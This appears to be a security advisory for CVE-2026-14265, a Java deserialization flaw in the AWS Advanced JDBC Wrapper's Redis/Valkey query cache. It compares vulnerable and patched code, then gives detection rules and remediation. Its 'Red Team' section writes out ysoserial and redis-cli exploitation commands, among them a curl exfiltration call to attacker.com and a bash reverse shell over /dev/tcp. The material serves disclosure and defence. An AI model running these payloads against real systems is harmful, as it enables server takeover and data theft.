CVE-2026-14265

Executive Summary

CVE-2026-14265 is a critical deserialization vulnerability in the AWS Advanced JDBC Wrapper, specifically within the RemoteQueryCachePlugin. The flaw allows an attacker with write access to a shared Redis or Valkey cache to inject a malicious serialized Java object. When an application server reads the poisoned cache entry, the ObjectInputStream deserializes the object without any class filtering, enabling arbitrary code execution via Java gadget chains. This vulnerability affects versions 3.3.0 through 4.0.0. The official patch is available in version 4.0.1, which introduces class filtering during deserialization.

Supply Chain & Package Security

This vulnerability is not directly in a package manager (NPM, PyPI, Go, Ruby) but in a Java library distributed via Maven Central. The risk is amplified in environments where the shared cache (Redis/Valkey) is accessible to untrusted actors, such as multi-tenant deployments or misconfigured cloud infrastructure. Organizations using the AWS Advanced JDBC Wrapper should immediately audit their cache access controls and upgrade to the patched version.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) – The attacker can exploit the vulnerability over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs write access to the shared cache.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full data access is possible.
• Integrity (I): High (H) – Full data modification is possible.
• Availability (A): High (H) – Full system compromise can lead to denial of service.

Threat Level: High. The attack requires low privileges and can lead to complete server compromise. The widespread use of Redis/Valkey in cloud environments increases the attack surface.

Deep Dive & Mechanics

The RemoteQueryCachePlugin is designed to cache JDBC query results in a shared Redis or Valkey store to improve performance. When a query result is cached, it is serialized into a Java object and stored. When a subsequent request needs the cached result, the plugin reads the serialized object from the cache and deserializes it using ObjectInputStream.

The vulnerability lies in the lack of class filtering during deserialization. Java's ObjectInputStream will deserialize any class that implements Serializable, including gadget chains like CommonsCollections or Spring beans. An attacker who can write to the Redis/Valkey cache can replace a legitimate cached object with a malicious serialized payload. When the application server reads this payload, the deserialization process triggers the gadget chain, leading to arbitrary code execution.

Attack Flow:

1. Attacker gains write access to the shared Redis/Valkey cache (e.g., via misconfigured network ACLs, weak authentication, or a compromised service).
2. Attacker crafts a malicious serialized Java object using a known gadget chain (e.g., CommonsCollections6).
3. Attacker overwrites a cached query result with the malicious payload.
4. Application server queries the cache, reads the malicious object, and deserializes it.
5. The gadget chain executes, giving the attacker remote code execution on the application server.

Vulnerable vs. Patched Code

Vulnerable Code (versions 3.3.0 - 4.0.0):

// RemoteQueryCachePlugin.java (simplified)
public class RemoteQueryCachePlugin {
    public Object getFromCache(String key) {
        byte[] data = redisClient.get(key.getBytes());
        if (data != null) {
            try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
                return ois.readObject(); // No filtering
            } catch (Exception e) {
                // handle
            }
        }
        return null;
    }
}

Patched Code (version 4.0.1):

// RemoteQueryCachePlugin.java (simplified)
public class RemoteQueryCachePlugin {
    private static final Set<String> ALLOWED_CLASSES = Set.of(
        "java.lang.String",
        "java.util.ArrayList",
        "java.util.HashMap",
        // ... other safe classes
    );

    public Object getFromCache(String key) {
        byte[] data = redisClient.get(key.getBytes());
        if (data != null) {
            try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)) {
                @Override
                protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
                    if (!ALLOWED_CLASSES.contains(desc.getName())) {
                        throw new InvalidClassException(desc.getName(), "Unauthorized deserialization");
                    }
                    return super.resolveClass(desc);
                }
            }) {
                return ois.readObject();
            } catch (Exception e) {
                // handle
            }
        }
        return null;
    }
}

The patch overrides resolveClass in ObjectInputStream to whitelist only safe classes, preventing gadget chain execution.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Write access to the Redis/Valkey cache (e.g., redis-cli -h target-cache -p 6379 AUTH password).
• Knowledge of a Java gadget chain (e.g., CommonsCollections6) available on the target server.

Exploitation Steps:

1. Generate a malicious serialized payload using ysoserial:

   java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(whoami)' > payload.bin
   

2. Connect to the Redis cache and overwrite a cached query key:

   redis-cli -h target-cache -p 6379
   AUTH password
   SET query:users:1234 $(cat payload.bin)
   

3. Trigger the application to read the cached query (e.g., by making a request that uses the cached result).
4. The payload executes, sending a request to the attacker's server with the output of whoami.

Alternative Payload: Use a reverse shell:

java -jar ysoserial.jar CommonsCollections6 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"' > payload.bin

Blue Team (Defender)

Detection Steps:

1. Monitor Redis/Valkey logs for unusual SET commands on keys that match JDBC query patterns (e.g., query:*).
2. Enable network segmentation to restrict cache access to only application servers.
3. Use Redis/Valkey authentication and TLS encryption.
4. Deploy a Web Application Firewall (WAF) to detect serialized Java objects in network traffic (though this is difficult due to binary nature).

Honeypot Strategy:

• Create a fake cache key query:honeypot with a legitimate-looking value.
• Monitor for any attempts to overwrite this key, which would indicate an attacker with write access.

Indicators of Compromise (IOCs)

• Network:
  • Unusual outbound connections from application servers to unknown IPs (e.g., attacker C2).
  • Large binary blobs in Redis/Valkey SET commands.
• Host:
  • Unexpected Java processes or shell commands (e.g., curl, bash).
  • Files in /tmp/ with suspicious names (e.g., ysoserial-*).
• Cache:
  • Cache keys with abnormally large values (serialized payloads are often larger than normal query results).
  • Cache keys that contain non-standard serialization headers (e.g., AC ED 00 05 for Java serialization).

Detection Engineering

YARA Rule

rule CVE_2026_14265_Java_Deserialization {
    meta:
        description = "Detects malicious Java serialized objects targeting CVE-2026-14265"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-14265"
    strings:
        $java_serial = { AC ED 00 05 }  // Java serialization magic bytes
        $gadget_cc = "CommonsCollections" nocase
        $gadget_spring = "org.springframework" nocase
        $gadget_jdk = "java.lang.Runtime" nocase
    condition:
        $java_serial at 0 and (any of ($gadget_*))
}

Sigma Rule

title: CVE-2026-14265 - Java Deserialization via Redis Cache
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2026-14265 by monitoring Redis SET commands with Java serialized data.
author: Valters IT
date: 2026-01-01
logsource:
    category: application
    product: redis
detection:
    selection:
        command: "SET"
        key: "query:*"
        value|contains: "\\xAC\\xED\\x00\\x05"  # Java serialization magic bytes
    condition: selection
falsepositives:
    - Legitimate use of Java serialization in custom applications (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 6379 (msg:"CVE-2026-14265 - Java Deserialization via Redis SET"; flow:to_server,established; content:"SET"; nocase; content:"query:"; distance:0; content:"|AC ED 00 05|"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to AWS Advanced JDBC Wrapper version 4.0.1 or later.
2. Restrict cache access using network ACLs and authentication (e.g., Redis requirepass).
3. Enable TLS for Redis/Valkey connections to prevent man-in-the-middle attacks.

Long-term Measures:

• Implement a class whitelist for deserialization in all Java applications.
• Use Redis/Valkey ACLs to limit write access to only authorized services.
• Regularly audit cache keys for unexpected values.
• Deploy runtime application self-protection (RASP) tools to detect deserialization attacks.

Workaround (if patching is delayed):

• Disable the RemoteQueryCachePlugin in the JDBC wrapper configuration:

  wrapperPlugins=,  # Remove RemoteQueryCachePlugin from the list
  

• Use an alternative caching mechanism that does not rely on Java serialization (e.g., JSON-based caching).

Valters IT